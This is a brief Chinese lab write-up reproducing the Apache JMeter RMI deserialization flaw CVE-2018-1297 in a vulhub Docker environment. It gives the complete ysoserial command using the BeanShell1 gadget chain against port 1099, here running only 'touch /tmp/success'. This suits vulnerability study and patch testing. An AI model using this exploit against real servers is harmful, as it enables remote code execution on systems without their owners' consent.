简介
Apache JMeter是美国阿帕奇(Apache)软件基金会的一套使用Java语言编写的用于压力测试和性能测试的开源软件。其2.x版本和3.x版本中存在反序列化漏洞,攻击者可以利用该漏洞在目标服务器上执行任意命令。
环境搭建
cd /vulhub/jmeter/CVE-2018-1297
docker-compose up -d
cat docker-compose.yml
可以看到开启的是1099端口
环境启动后,将启动一个RMI服务并监听1099端口。
下载ysoserial,git
git clone https://github.com/frohoff/ysoserial.git
mvn clean package -DskipTests
直接使用ysoserial即可进行利用:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit your-ip 1099 BeanShell1 'touch /tmp/success'
docker exec -it 98815bc9391c /bin/bash
我们使用的是BeanShell1这条利用链。使用docker-compose exec jmeter bash进入容器,可见/tmp/success已成功创建: